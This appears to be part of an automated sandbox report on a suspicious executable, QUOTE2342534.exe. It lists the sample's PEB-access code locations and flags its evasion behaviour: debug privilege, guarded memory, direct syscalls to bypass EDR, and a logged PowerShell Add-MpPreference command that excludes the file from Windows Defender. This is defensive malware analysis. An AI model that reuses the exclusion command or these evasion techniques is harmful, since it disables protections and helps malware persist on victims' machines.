Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A660 mov eax, dword ptr fs:[00000030h]	4_2_0175A660
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A660 mov eax, dword ptr fs:[00000030h]	4_2_0175A660
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173C640 mov eax, dword ptr fs:[00000030h]	4_2_0173C640
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E627 mov eax, dword ptr fs:[00000030h]	4_2_0173E627
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01756620 mov eax, dword ptr fs:[00000030h]	4_2_01756620
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01758620 mov eax, dword ptr fs:[00000030h]	4_2_01758620
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172262C mov eax, dword ptr fs:[00000030h]	4_2_0172262C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762619 mov eax, dword ptr fs:[00000030h]	4_2_01762619
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E609 mov eax, dword ptr fs:[00000030h]	4_2_0179E609
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173260B mov eax, dword ptr fs:[00000030h]	4_2_0173260B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0179E6F2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0179E6F2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0179E6F2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0179E6F2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A06F1 mov eax, dword ptr fs:[00000030h]	4_2_017A06F1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A06F1 mov eax, dword ptr fs:[00000030h]	4_2_017A06F1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A6C7 mov ebx, dword ptr fs:[00000030h]	4_2_0175A6C7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A6C7 mov eax, dword ptr fs:[00000030h]	4_2_0175A6C7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017566B0 mov eax, dword ptr fs:[00000030h]	4_2_017566B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C6A6 mov eax, dword ptr fs:[00000030h]	4_2_0175C6A6
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724690 mov eax, dword ptr fs:[00000030h]	4_2_01724690
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724690 mov eax, dword ptr fs:[00000030h]	4_2_01724690
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C4978 mov eax, dword ptr fs:[00000030h]	4_2_017C4978
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C4978 mov eax, dword ptr fs:[00000030h]	4_2_017C4978
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AC97C mov eax, dword ptr fs:[00000030h]	4_2_017AC97C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01746962 mov eax, dword ptr fs:[00000030h]	4_2_01746962
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01746962 mov eax, dword ptr fs:[00000030h]	4_2_01746962
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01746962 mov eax, dword ptr fs:[00000030h]	4_2_01746962
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0176096E mov eax, dword ptr fs:[00000030h]	4_2_0176096E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0176096E mov edx, dword ptr fs:[00000030h]	4_2_0176096E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0176096E mov eax, dword ptr fs:[00000030h]	4_2_0176096E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A0946 mov eax, dword ptr fs:[00000030h]	4_2_017A0946
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A892A mov eax, dword ptr fs:[00000030h]	4_2_017A892A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B892B mov eax, dword ptr fs:[00000030h]	4_2_017B892B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AC912 mov eax, dword ptr fs:[00000030h]	4_2_017AC912
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01718918 mov eax, dword ptr fs:[00000030h]	4_2_01718918
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01718918 mov eax, dword ptr fs:[00000030h]	4_2_01718918
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E908 mov eax, dword ptr fs:[00000030h]	4_2_0179E908
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E908 mov eax, dword ptr fs:[00000030h]	4_2_0179E908
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017529F9 mov eax, dword ptr fs:[00000030h]	4_2_017529F9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017529F9 mov eax, dword ptr fs:[00000030h]	4_2_017529F9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AE9E0 mov eax, dword ptr fs:[00000030h]	4_2_017AE9E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0172A9D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017549D0 mov eax, dword ptr fs:[00000030h]	4_2_017549D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EA9D3 mov eax, dword ptr fs:[00000030h]	4_2_017EA9D3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B69C0 mov eax, dword ptr fs:[00000030h]	4_2_017B69C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A89B3 mov esi, dword ptr fs:[00000030h]	4_2_017A89B3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A89B3 mov eax, dword ptr fs:[00000030h]	4_2_017A89B3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A89B3 mov eax, dword ptr fs:[00000030h]	4_2_017A89B3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0 mov eax, dword ptr fs:[00000030h]	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017209AD mov eax, dword ptr fs:[00000030h]	4_2_017209AD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017209AD mov eax, dword ptr fs:[00000030h]	4_2_017209AD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AE872 mov eax, dword ptr fs:[00000030h]	4_2_017AE872
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AE872 mov eax, dword ptr fs:[00000030h]	4_2_017AE872
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6870 mov eax, dword ptr fs:[00000030h]	4_2_017B6870
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6870 mov eax, dword ptr fs:[00000030h]	4_2_017B6870
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01750854 mov eax, dword ptr fs:[00000030h]	4_2_01750854
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724859 mov eax, dword ptr fs:[00000030h]	4_2_01724859
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724859 mov eax, dword ptr fs:[00000030h]	4_2_01724859
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01732840 mov ecx, dword ptr fs:[00000030h]	4_2_01732840
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov eax, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov eax, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov eax, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov ecx, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov eax, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742835 mov eax, dword ptr fs:[00000030h]	4_2_01742835
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A830 mov eax, dword ptr fs:[00000030h]	4_2_0175A830
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C483A mov eax, dword ptr fs:[00000030h]	4_2_017C483A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C483A mov eax, dword ptr fs:[00000030h]	4_2_017C483A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AC810 mov eax, dword ptr fs:[00000030h]	4_2_017AC810
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0175C8F9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0175C8F9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EA8E4 mov eax, dword ptr fs:[00000030h]	4_2_017EA8E4
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E8C0 mov eax, dword ptr fs:[00000030h]	4_2_0174E8C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F08C0 mov eax, dword ptr fs:[00000030h]	4_2_017F08C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AC89D mov eax, dword ptr fs:[00000030h]	4_2_017AC89D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720887 mov eax, dword ptr fs:[00000030h]	4_2_01720887
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171CB7E mov eax, dword ptr fs:[00000030h]	4_2_0171CB7E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F2B57 mov eax, dword ptr fs:[00000030h]	4_2_017F2B57
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F2B57 mov eax, dword ptr fs:[00000030h]	4_2_017F2B57
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F2B57 mov eax, dword ptr fs:[00000030h]	4_2_017F2B57
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F2B57 mov eax, dword ptr fs:[00000030h]	4_2_017F2B57
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CEB50 mov eax, dword ptr fs:[00000030h]	4_2_017CEB50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D4B4B mov eax, dword ptr fs:[00000030h]	4_2_017D4B4B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D4B4B mov eax, dword ptr fs:[00000030h]	4_2_017D4B4B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6B40 mov eax, dword ptr fs:[00000030h]	4_2_017B6B40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6B40 mov eax, dword ptr fs:[00000030h]	4_2_017B6B40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EAB40 mov eax, dword ptr fs:[00000030h]	4_2_017EAB40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C8B42 mov eax, dword ptr fs:[00000030h]	4_2_017C8B42
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174EB20 mov eax, dword ptr fs:[00000030h]	4_2_0174EB20
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174EB20 mov eax, dword ptr fs:[00000030h]	4_2_0174EB20
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E8B28 mov eax, dword ptr fs:[00000030h]	4_2_017E8B28
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E8B28 mov eax, dword ptr fs:[00000030h]	4_2_017E8B28
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179EB1D mov eax, dword ptr fs:[00000030h]	4_2_0179EB1D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728BF0 mov eax, dword ptr fs:[00000030h]	4_2_01728BF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728BF0 mov eax, dword ptr fs:[00000030h]	4_2_01728BF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728BF0 mov eax, dword ptr fs:[00000030h]	4_2_01728BF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174EBFC mov eax, dword ptr fs:[00000030h]	4_2_0174EBFC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017ACBF0 mov eax, dword ptr fs:[00000030h]	4_2_017ACBF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CEBD0 mov eax, dword ptr fs:[00000030h]	4_2_017CEBD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01740BCB mov eax, dword ptr fs:[00000030h]	4_2_01740BCB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01740BCB mov eax, dword ptr fs:[00000030h]	4_2_01740BCB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01740BCB mov eax, dword ptr fs:[00000030h]	4_2_01740BCB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720BCD mov eax, dword ptr fs:[00000030h]	4_2_01720BCD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720BCD mov eax, dword ptr fs:[00000030h]	4_2_01720BCD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720BCD mov eax, dword ptr fs:[00000030h]	4_2_01720BCD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730BBE mov eax, dword ptr fs:[00000030h]	4_2_01730BBE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730BBE mov eax, dword ptr fs:[00000030h]	4_2_01730BBE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D4BB0 mov eax, dword ptr fs:[00000030h]	4_2_017D4BB0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D4BB0 mov eax, dword ptr fs:[00000030h]	4_2_017D4BB0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179CA72 mov eax, dword ptr fs:[00000030h]	4_2_0179CA72
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179CA72 mov eax, dword ptr fs:[00000030h]	4_2_0179CA72
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175CA6F mov eax, dword ptr fs:[00000030h]	4_2_0175CA6F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175CA6F mov eax, dword ptr fs:[00000030h]	4_2_0175CA6F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175CA6F mov eax, dword ptr fs:[00000030h]	4_2_0175CA6F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CEA60 mov eax, dword ptr fs:[00000030h]	4_2_017CEA60
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726A50 mov eax, dword ptr fs:[00000030h]	4_2_01726A50
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730A5B mov eax, dword ptr fs:[00000030h]	4_2_01730A5B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730A5B mov eax, dword ptr fs:[00000030h]	4_2_01730A5B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01744A35 mov eax, dword ptr fs:[00000030h]	4_2_01744A35
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01744A35 mov eax, dword ptr fs:[00000030h]	4_2_01744A35
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175CA38 mov eax, dword ptr fs:[00000030h]	4_2_0175CA38
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175CA24 mov eax, dword ptr fs:[00000030h]	4_2_0175CA24
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174EA2E mov eax, dword ptr fs:[00000030h]	4_2_0174EA2E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017ACA11 mov eax, dword ptr fs:[00000030h]	4_2_017ACA11
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175AAEE mov eax, dword ptr fs:[00000030h]	4_2_0175AAEE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175AAEE mov eax, dword ptr fs:[00000030h]	4_2_0175AAEE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720AD0 mov eax, dword ptr fs:[00000030h]	4_2_01720AD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01754AD0 mov eax, dword ptr fs:[00000030h]	4_2_01754AD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01754AD0 mov eax, dword ptr fs:[00000030h]	4_2_01754AD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01776ACC mov eax, dword ptr fs:[00000030h]	4_2_01776ACC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01776ACC mov eax, dword ptr fs:[00000030h]	4_2_01776ACC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01776ACC mov eax, dword ptr fs:[00000030h]	4_2_01776ACC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728AA0 mov eax, dword ptr fs:[00000030h]	4_2_01728AA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728AA0 mov eax, dword ptr fs:[00000030h]	4_2_01728AA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01776AA4 mov eax, dword ptr fs:[00000030h]	4_2_01776AA4
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01758A90 mov edx, dword ptr fs:[00000030h]	4_2_01758A90
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80 mov eax, dword ptr fs:[00000030h]	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4A80 mov eax, dword ptr fs:[00000030h]	4_2_017F4A80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B8D6B mov eax, dword ptr fs:[00000030h]	4_2_017B8D6B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720D59 mov eax, dword ptr fs:[00000030h]	4_2_01720D59

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
